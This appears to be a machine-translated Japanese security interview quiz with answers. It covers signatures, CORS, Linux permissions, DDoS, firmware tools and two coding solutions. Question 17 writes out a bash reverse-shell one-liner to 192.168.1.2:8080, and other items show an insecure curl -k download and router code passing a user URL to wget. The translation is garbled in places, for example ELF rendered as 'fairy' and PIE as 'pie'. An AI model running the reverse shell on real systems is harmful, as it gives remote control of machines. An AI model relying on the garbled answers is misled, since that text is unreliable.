1.デジタル署名の何が問題になっていますか
- メッセージが実際に署名され、送信者によって送信されていることを確認してください
- デジタル署名はメッセージの整合性を確認できます
- 秘密鍵は署名に使用され、公開鍵は検証に使用されます
2. CORSの役割は何ですか?
- クライアントがサーバーから返されたデータを取得できるようにする
3. AJAXに関する次の説明のうち正しいものはどれですか?
- AJAXはデータクロスドメインを完了することができます
何が問題なのですか。
- AJAXはさまざまなドメインにデータを送信できます
- AJAXはさまざまなドメインからデータを取得できます
- AJAXは同期テクノロジーを使用します
4. MD5とは何ですか?
- ハッシュアルゴリズム
5. Linuxでは、file属性を所有者の読み取り専用に設定します。権限のない残りのコマンドは(ファイル名がmyfileであると想定)です。
chmod 400 myfile
6.システムネットワークの外部接続動作の監視を実現できない方法は次のうちどれですか
/var/log/lastlog
レコードを見る
あなたが試すことができる方法:
- フックテクノロジーを使用して、cライブラリ関数connectを置き換えます
- auitdを使用して接続システムコールを監視する
7. Linuxファイルシステムのアクセス許可(rwx)では、読み取り専用のアクセス許可に対応する値は次のとおりです。
- 4
補足:
- 最初の記号はファイルの種類を表します
- 通常のファイルの場合は「-」、
- ディレクトリの場合は「d」、
- ソフトリンクの場合、「l」
- キャラクターデバイスの場合は「c」
- ブロックファイルの場合、「b」
- 最初のグループは、ファイル所有者が所有するアクセス許可を表します
- 「x」は、ファイルに実行権限があることを意味します
- 「r」は、ファイルに読み取り権限があることを意味します
- 「w」は、ファイルに変更する権限があることを意味します
- 「-」は、他の権限がまだないことを意味します
- 2番目のグループは、ファイルが配置されているグループのユーザーが所有するアクセス許可を表します
- 3番目のグループは、他のグループのユーザーが所有するアクセス許可を表します
- 「rwx」権限は、数字で表すこともできます:r = 4、w = 2、x = 1、したがってrwx = 4 + 2 + 1 = 7
8.アップグレードパッケージ
アップグレードcurl https://ota.a.com/update.bin -k -o /tmp/update.bin
パッケージを取得するためのコマンド中に使用されるアップグレード機器、次のステートメントは正しいですか?
- アップグレードパッケージは証明書の検証を無視するため、man-in-the-middle攻撃が発生します
9.次のコードはどのような問題を引き起こしますか?
function upgradeRom()
local XQFunction = require("xiaoqiang.common.XQFunction")
local XQSysUtil = require("xiaoqiang.util.XQSysUtil")
local url = LuciHttp.formvalue("url")
url = url:gsub("'", "")
if url
XQFunction.forkExec(string.format("wget '%s'", url))
else
XQFunction.forkExec("/usr/sbin/crontab_rom.sh")
end
end
- 抜け穴なし
10.Linux実行可能ファイルの先頭にある特徴的な文字列は何ですか
- 妖精
11.次のステートメントは間違っています
- RSAとDSAの機能は同じですが、アルゴリズムが異なります
- ハッシュは可逆的であり、ハッシュは一般的に情報エントロピーの減少につながります
12.クッキーの基本的な属性は何ですか?
- ドメイン
- 道
- httponly
- 安全
- 有効期限が切れます
13. httpsで適用されているテクノロジーは次のうちどれですか?
- 対称暗号化
- 非対称暗号化
- 鍵交換
- ハッシュアルゴリズム
14.次の方法のうち、クロスドメイン攻撃を生成できるのはどれですか?
- CORS
- windows.name
- windows.postMessage
15.次の方法のどれがDDOS攻撃と見なされますか
- ICMPフラッド
- SYNFlood
- DNSQueryフラッド
- UDPFlood
16. SYNFlood攻撃に関して、正しい説明は次のうちどれですか。
- この方法では、完全なTCPスリーウェイハンドシェイクを確立する必要はありません。
- このタイプの攻撃は、クライアントによって開始されたSYN半接続によって引き起こされます
17.この注文に関して、正しい説明は次のとおりです。
bash -i >& /dev/tcp/192.168.1.2/8080 0>&1
- 192.168.1.2で8080を監視することにより、このコマンドを実行しているマシンをリモートで操作できます。
- これはリバースシェルです
18.ファームウェア分析に役立つコマンドとツールは次のうちどれですか?
- ビンウォーク
- ファイル
- ファームウェア-mod-kit
19.一般的に使用される逆分析ツールは何ですか?
- gdb
- IDA
- ollydbg
20.次のうち、バッファオーバーフロー保護メカニズムはどれですか?
- パイ
- NX
- スタックカナリア
21、プログラミングの質問
クラスメートのXiaoQiは非常に難しいインターンDBAです。彼の毎日の仕事はアカウントに認証を追加することです。今日、これらの200のipv4に認証を追加し、明日これらの200の認証を削除します。ある日、Xiao Qi認証を削除するときに、誤ってすべての承認を削除し、リーダーは私に多くの承認を与えました。苦痛な経験から学んだ後、Xiao Qiは日々の仕事を振り返り始め、それらのIPを毎日データベースにアクセスさせることに他ならないことに気付きました。彼は非常に効率的なIPホワイトリストを作成することにしました。XiaoQiが話し合うのを手伝ってください。実装のアイデアと構造化プログラミング言語(c / c ++ / python / golang / javaなど)の使用でIPホワイトリストを作成します。彼はこのホワイトリストにIPの追加、IPの削除、IPがにあるかどうかの確認の機能を持たせる必要があります。ホワイトリスト、およびホワイトリストの印刷上記の4つの機能では、IPがホワイトリストに含まれているかどうかを検出する効率が高くなければなりません。そして、Xiaoqiが各機能の時間計算量を分析するのを手伝ってください。よく書かれたクラスメートのXiaoqiがあなたを夕食に招待します。
import java.util.HashSet;
import java.util.Scanner;
public class Main {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
HashSet<String> set = new HashSet<>();
while (!scanner.hasNext("end")) {
String command = scanner.next();
char c = command.charAt(0);
String ip = command.substring(2);
switch (c) {
case 'i':
set.add(ip);
System.out.println("ok");
break;
case 'd':
set.remove(ip);
System.out.println("ok");
break;
case 's':
System.out.println(set.contains(ip));
break;
}
}
}
}
Nの競技チーム(1 <= N <= 500)があり、番号は1、2、3の順です。。。。、Nがゲームをプレイします。ゲーム終了後、審判委員会は参加しているすべてのチームを前から後ろにランク付けしますが、審判委員会は各チームの結果を直接取得することはできません。各ゲームの結果、つまりP1のみを認識します。 P2に勝ちます。P1とP2は、ランキングでP1がP2の前にあることを示します。次に、ランキングを決定するようにプログラムしてください。
#include <bits/stdc++.h>
using namespace std;
int main(){
int n,m;
while(cin>>n>>m){
vector<int> Edge[n+1];
int inDegree[n+1];
memset(inDegree,0,sizeof(inDegree));
for(int i=0;i<m;i++){
int a,b;
cin>>a>>b;
Edge[a].push_back(b);
inDegree[b]++;
}
priority_queue<int, vector<int>, greater<int>> Q;
for(int i=1;i<=n;i++)
if(inDegree[i]==0)
Q.push(i);
int cnt = 1;
while(!Q.empty()){
int u = Q.top();
Q.pop();
if(cnt==n)
cout<<u<<endl;
else
cout<<u<<" ";
cnt++;
for(int i=0;i<Edge[u].size();i++){
int v = Edge[u][i];
inDegree[v]--;
if(inDegree[v]==0)
Q.push(v);
}
}
}
return 0;
}